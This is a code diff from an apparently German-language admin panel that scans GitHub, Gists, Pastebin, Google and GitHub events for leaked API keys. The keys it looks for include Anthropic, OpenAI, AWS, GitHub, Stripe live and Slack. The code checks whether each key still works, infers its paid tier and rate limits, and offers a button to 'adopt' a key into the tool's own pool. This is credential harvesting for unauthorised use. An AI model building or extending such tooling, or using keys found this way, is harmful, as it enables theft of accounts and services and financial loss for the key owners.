.Where(id => interestingPrefixes.Any(p => id.StartsWith(p, StringComparison.OrdinalIgnoreCase)))
|
||||||
|
.Distinct()
|
||||||
|
.OrderBy(x => x)
|
||||||
|
.ToArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Plan-Erkennung anhand der Modelle
|
||||||
|
string plan;
|
||||||
|
if (models.Any(m => m.StartsWith("o3", StringComparison.OrdinalIgnoreCase)
|
||||||
|
|| m.StartsWith("o4", StringComparison.OrdinalIgnoreCase)))
|
||||||
|
plan = "Tier 5+";
|
||||||
|
else if (models.Any(m => m.StartsWith("gpt-4o", StringComparison.OrdinalIgnoreCase)))
|
||||||
|
plan = "Tier 3+";
|
||||||
|
else if (models.Any(m => m.StartsWith("gpt-4", StringComparison.OrdinalIgnoreCase)))
|
||||||
|
plan = "Tier 2+";
|
||||||
|
else if (models.Any(m => m.StartsWith("gpt-3.5", StringComparison.OrdinalIgnoreCase)))
|
||||||
|
plan = "Tier 1";
|
||||||
|
else
|
||||||
|
plan = "Free";
|
||||||
|
|
||||||
|
var msg = plan + " · Org: " + (org ?? "?") + " · " + models.Length + " Modelle";
|
||||||
|
if (rpm.HasValue) msg += " · " + rpm.Value + " RPM";
|
||||||
|
|
||||||
|
return new OpenAiCheckResult
|
||||||
|
{
|
||||||
|
Status = "ok",
|
||||||
|
Message = msg,
|
||||||
|
Organization = org,
|
||||||
|
Models = models,
|
||||||
|
RateLimitRpm = rpm,
|
||||||
|
RateLimitTpm = tpm
|
||||||
|
};
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
return new OpenAiCheckResult { Status = "error", Message = ex.Message };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-1
@@ -234,7 +234,8 @@ function apiCheckAllApiKeys() { return _post('/api/admin/api-keys/check-all', un
|
|||||||
|
|
||||||
function apiTriggerScan(mode) { return _post('/api/admin/api-keys/scan?mode=' + (mode || 'full'), undefined, 'Fehler beim Starten des Scans'); }
|
function apiTriggerScan(mode) { return _post('/api/admin/api-keys/scan?mode=' + (mode || 'full'), undefined, 'Fehler beim Starten des Scans'); }
|
||||||
function apiScanStatus() { return _get('/api/admin/api-keys/scan/status', {}); }
|
function apiScanStatus() { return _get('/api/admin/api-keys/scan/status', {}); }
|
||||||
function apiGetScannedKeys() { return _get('/api/admin/api-keys/scanned', []); }
|
function apiGetScannedKeys(type) { return _get('/api/admin/api-keys/scanned' + (type ? '?type=' + encodeURIComponent(type) : ''), []); }
|
||||||
|
function apiGetScannedKeysSummary() { return _get('/api/admin/api-keys/scanned/summary', []); }
|
||||||
function apiRecheckAllScannedKeys() { return _post('/api/admin/api-keys/scanned/recheck-all', undefined, 'Fehler beim Prüfen'); }
|
function apiRecheckAllScannedKeys() { return _post('/api/admin/api-keys/scanned/recheck-all', undefined, 'Fehler beim Prüfen'); }
|
||||||
function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); }
|
function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); }
|
||||||
function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); }
|
function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); }
|
||||||
|
|||||||
@@ -323,16 +323,97 @@ registerPage('api-keys', {
|
|||||||
var scanStatusEl = document.getElementById('scanStatus');
|
var scanStatusEl = document.getElementById('scanStatus');
|
||||||
var scannedList = document.getElementById('scannedKeysList');
|
var scannedList = document.getElementById('scannedKeysList');
|
||||||
var scannedKeys = [];
|
var scannedKeys = [];
|
||||||
|
var selectedType = null;
|
||||||
var pollTimer = null;
|
var pollTimer = null;
|
||||||
|
|
||||||
|
var typeNames = {
|
||||||
|
anthropic_oauth: 'Anthropic OAuth', anthropic_api: 'Anthropic API', anthropic_unknown: 'Anthropic',
|
||||||
|
openai_project: 'OpenAI Project', openai_service: 'OpenAI Service', openai_legacy: 'OpenAI Legacy',
|
||||||
|
google_api: 'Google / Gemini', aws_access_key: 'AWS Access Key',
|
||||||
|
github_pat: 'GitHub PAT', github_oauth: 'GitHub OAuth', gitlab_pat: 'GitLab PAT',
|
||||||
|
huggingface: 'HuggingFace', stripe_live: 'Stripe Live', stripe_test: 'Stripe Test',
|
||||||
|
sendgrid: 'SendGrid', slack: 'Slack'
|
||||||
|
};
|
||||||
|
|
||||||
|
var typeIcons = {
|
||||||
|
anthropic_oauth: '🟠', anthropic_api: '🟠', anthropic_unknown: '🟠',
|
||||||
|
openai_project: '🟢', openai_service: '🟢', openai_legacy: '🟢',
|
||||||
|
google_api: '🔵', aws_access_key: '🟡',
|
||||||
|
github_pat: '⚫', github_oauth: '⚫', gitlab_pat: '🟤',
|
||||||
|
huggingface: '🤗', stripe_live: '💳', stripe_test: '💳',
|
||||||
|
sendgrid: '📧', slack: '💬'
|
||||||
|
};
|
||||||
|
|
||||||
|
function renderSummary(summary) {
|
||||||
|
scannedList.innerHTML = '';
|
||||||
|
if (!summary || summary.length === 0) {
|
||||||
|
var empty = document.createElement('div');
|
||||||
|
empty.className = 'admin-user-meta';
|
||||||
|
empty.style.padding = '1rem 0';
|
||||||
|
empty.textContent = 'Keine gescannten Keys vorhanden.';
|
||||||
|
scannedList.appendChild(empty);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
summary.forEach(function(s) {
|
||||||
|
var row = document.createElement('div');
|
||||||
|
row.className = 'admin-user-row';
|
||||||
|
row.style.cursor = 'pointer';
|
||||||
|
|
||||||
|
var info = document.createElement('div');
|
||||||
|
info.className = 'admin-user-info';
|
||||||
|
|
||||||
|
var nameSpan = document.createElement('span');
|
||||||
|
nameSpan.className = 'admin-user-name';
|
||||||
|
var icon = typeIcons[s.type] || '🔑';
|
||||||
|
nameSpan.textContent = icon + ' ' + (typeNames[s.type] || s.type);
|
||||||
|
info.appendChild(nameSpan);
|
||||||
|
|
||||||
|
var metaSpan = document.createElement('span');
|
||||||
|
metaSpan.className = 'admin-user-meta';
|
||||||
|
var parts = [s.total + ' Keys'];
|
||||||
|
if (s.valid > 0) parts.push('✅ ' + s.valid + ' gültig');
|
||||||
|
if (s.invalid > 0) parts.push('❌ ' + s.invalid + ' ungültig');
|
||||||
|
if (s.unchecked > 0) parts.push('⏳ ' + s.unchecked + ' ungeprüft');
|
||||||
|
if (s.adopted > 0) parts.push('📌 ' + s.adopted + ' übernommen');
|
||||||
|
metaSpan.textContent = parts.join(' · ');
|
||||||
|
info.appendChild(metaSpan);
|
||||||
|
|
||||||
|
var badge = document.createElement('div');
|
||||||
|
badge.className = 'admin-user-actions';
|
||||||
|
badge.innerHTML = '<i class="fa fa-chevron-right" style="opacity:.5"></i>';
|
||||||
|
|
||||||
|
row.appendChild(info);
|
||||||
|
row.appendChild(badge);
|
||||||
|
row.addEventListener('click', function() { loadScannedKeysByType(s.type); });
|
||||||
|
scannedList.appendChild(row);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
function renderScannedKeys() {
|
function renderScannedKeys() {
|
||||||
scannedList.innerHTML = '';
|
scannedList.innerHTML = '';
|
||||||
|
|
||||||
|
// Zurück-Button
|
||||||
|
var backRow = document.createElement('div');
|
||||||
|
backRow.className = 'admin-user-row';
|
||||||
|
backRow.style.cursor = 'pointer';
|
||||||
|
backRow.style.opacity = '.7';
|
||||||
|
var backInfo = document.createElement('div');
|
||||||
|
backInfo.className = 'admin-user-info';
|
||||||
|
var backName = document.createElement('span');
|
||||||
|
backName.className = 'admin-user-name';
|
||||||
|
backName.innerHTML = '<i class="fa fa-arrow-left"></i> Zurück zur Übersicht';
|
||||||
|
backInfo.appendChild(backName);
|
||||||
|
backRow.appendChild(backInfo);
|
||||||
|
backRow.addEventListener('click', function() { selectedType = null; loadSummary(); });
|
||||||
|
scannedList.appendChild(backRow);
|
||||||
|
|
||||||
var visibleKeys = scannedKeys.filter(function(sk) { return sk.adoptedApiKeyId == null; });
|
var visibleKeys = scannedKeys.filter(function(sk) { return sk.adoptedApiKeyId == null; });
|
||||||
if (visibleKeys.length === 0) {
|
if (visibleKeys.length === 0) {
|
||||||
var empty = document.createElement('div');
|
var empty = document.createElement('div');
|
||||||
empty.className = 'admin-user-meta';
|
empty.className = 'admin-user-meta';
|
||||||
empty.style.padding = '1rem 0';
|
empty.style.padding = '1rem 0';
|
||||||
empty.textContent = 'Keine gescannten Keys vorhanden.';
|
empty.textContent = 'Keine nicht-übernommenen Keys in dieser Kategorie.';
|
||||||
scannedList.appendChild(empty);
|
scannedList.appendChild(empty);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -361,10 +442,8 @@ registerPage('api-keys', {
|
|||||||
var metaSpan = document.createElement('span');
|
var metaSpan = document.createElement('span');
|
||||||
metaSpan.className = 'admin-user-meta';
|
metaSpan.className = 'admin-user-meta';
|
||||||
var metaParts = [];
|
var metaParts = [];
|
||||||
var sourceIcons = { github: '🐙 GitHub', serper: '🔍 Google', gist: '📋 Gist', pastebin: '📄 Pastebin' };
|
var sourceIcons = { github: '🐙 GitHub', serper: '🔍 Google', gist: '📋 Gist', pastebin: '📄 Pastebin', github_events: '📡 Events' };
|
||||||
metaParts.push(sourceIcons[sk.source] || sk.source || 'github');
|
metaParts.push(sourceIcons[sk.source] || sk.source || 'github');
|
||||||
var typeLabels = { anthropic_oauth: 'OAuth', anthropic_api: 'API', anthropic_unknown: 'Anthropic', unknown: '?' };
|
|
||||||
metaParts.push(typeLabels[sk.type] || sk.type || '?');
|
|
||||||
metaParts.push(formatKeyStatus(sk.status));
|
metaParts.push(formatKeyStatus(sk.status));
|
||||||
if (sk.plan && sk.plan !== 'Unknown') metaParts.push(sk.plan);
|
if (sk.plan && sk.plan !== 'Unknown') metaParts.push(sk.plan);
|
||||||
if (sk.checkedAt) metaParts.push(new Date(sk.checkedAt).toLocaleString());
|
if (sk.checkedAt) metaParts.push(new Date(sk.checkedAt).toLocaleString());
|
||||||
@@ -382,12 +461,13 @@ registerPage('api-keys', {
|
|||||||
recheckBtn.className = 'icon-btn';
|
recheckBtn.className = 'icon-btn';
|
||||||
recheckBtn.title = 'Erneut prüfen';
|
recheckBtn.title = 'Erneut prüfen';
|
||||||
recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>';
|
recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>';
|
||||||
recheckBtn.addEventListener('click', async function() {
|
recheckBtn.addEventListener('click', async function(e) {
|
||||||
|
e.stopPropagation();
|
||||||
recheckBtn.innerHTML = '<i class="fa fa-spinner fa-spin"></i>';
|
recheckBtn.innerHTML = '<i class="fa fa-spinner fa-spin"></i>';
|
||||||
recheckBtn.disabled = true;
|
recheckBtn.disabled = true;
|
||||||
try {
|
try {
|
||||||
await apiRecheckScannedKey(sk.scannedKeyId);
|
await apiRecheckScannedKey(sk.scannedKeyId);
|
||||||
await loadScannedKeys();
|
await loadScannedKeysByType(selectedType);
|
||||||
} catch (err) { showToast(err.message, 'error'); }
|
} catch (err) { showToast(err.message, 'error'); }
|
||||||
finally { recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>'; recheckBtn.disabled = false; }
|
finally { recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>'; recheckBtn.disabled = false; }
|
||||||
});
|
});
|
||||||
@@ -399,11 +479,12 @@ registerPage('api-keys', {
|
|||||||
adoptBtn.className = 'icon-btn';
|
adoptBtn.className = 'icon-btn';
|
||||||
adoptBtn.title = 'Als API-Key übernehmen';
|
adoptBtn.title = 'Als API-Key übernehmen';
|
||||||
adoptBtn.innerHTML = '<i class="fa fa-plus-circle" style="color:var(--accent)"></i>';
|
adoptBtn.innerHTML = '<i class="fa fa-plus-circle" style="color:var(--accent)"></i>';
|
||||||
adoptBtn.addEventListener('click', async function() {
|
adoptBtn.addEventListener('click', async function(e) {
|
||||||
|
e.stopPropagation();
|
||||||
try {
|
try {
|
||||||
await apiAdoptScannedKey(sk.scannedKeyId);
|
await apiAdoptScannedKey(sk.scannedKeyId);
|
||||||
showToast('Key übernommen');
|
showToast('Key übernommen');
|
||||||
await loadScannedKeys();
|
await loadScannedKeysByType(selectedType);
|
||||||
await loadKeys();
|
await loadKeys();
|
||||||
} catch (err) { showToast(err.message, 'error'); }
|
} catch (err) { showToast(err.message, 'error'); }
|
||||||
});
|
});
|
||||||
@@ -415,10 +496,11 @@ registerPage('api-keys', {
|
|||||||
delBtn.className = 'icon-btn';
|
delBtn.className = 'icon-btn';
|
||||||
delBtn.title = 'Ignorieren';
|
delBtn.title = 'Ignorieren';
|
||||||
delBtn.innerHTML = '<i class="fa fa-trash"></i>';
|
delBtn.innerHTML = '<i class="fa fa-trash"></i>';
|
||||||
delBtn.addEventListener('click', async function() {
|
delBtn.addEventListener('click', async function(e) {
|
||||||
|
e.stopPropagation();
|
||||||
try {
|
try {
|
||||||
await apiDeleteScannedKey(sk.scannedKeyId);
|
await apiDeleteScannedKey(sk.scannedKeyId);
|
||||||
await loadScannedKeys();
|
await loadScannedKeysByType(selectedType);
|
||||||
} catch (err) { showToast(err.message, 'error'); }
|
} catch (err) { showToast(err.message, 'error'); }
|
||||||
});
|
});
|
||||||
actions.appendChild(delBtn);
|
actions.appendChild(delBtn);
|
||||||
@@ -429,13 +511,30 @@ registerPage('api-keys', {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
async function loadScannedKeys() {
|
async function loadSummary() {
|
||||||
try {
|
try {
|
||||||
scannedKeys = await apiGetScannedKeys();
|
var summary = await apiGetScannedKeysSummary();
|
||||||
|
renderSummary(summary);
|
||||||
|
} catch (err) { showToast(err.message, 'error'); }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function loadScannedKeysByType(type) {
|
||||||
|
selectedType = type;
|
||||||
|
scannedList.innerHTML = '<div class="admin-user-meta" style="padding:1rem 0"><i class="fa fa-spinner fa-spin"></i> Lade Keys…</div>';
|
||||||
|
try {
|
||||||
|
scannedKeys = await apiGetScannedKeys(type);
|
||||||
renderScannedKeys();
|
renderScannedKeys();
|
||||||
} catch (err) { showToast(err.message, 'error'); }
|
} catch (err) { showToast(err.message, 'error'); }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function loadScannedKeys() {
|
||||||
|
if (selectedType) {
|
||||||
|
await loadScannedKeysByType(selectedType);
|
||||||
|
} else {
|
||||||
|
await loadSummary();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
var scanBtnDefaults = [
|
var scanBtnDefaults = [
|
||||||
{ btn: scanQuickBtn, icon: 'fa-bolt', label: 'Quick' },
|
{ btn: scanQuickBtn, icon: 'fa-bolt', label: 'Quick' },
|
||||||
{ btn: scanWebBtn, icon: 'fa-globe', label: 'Web' },
|
{ btn: scanWebBtn, icon: 'fa-globe', label: 'Web' },
|
||||||
|
|||||||
Reference in new issue
Block a user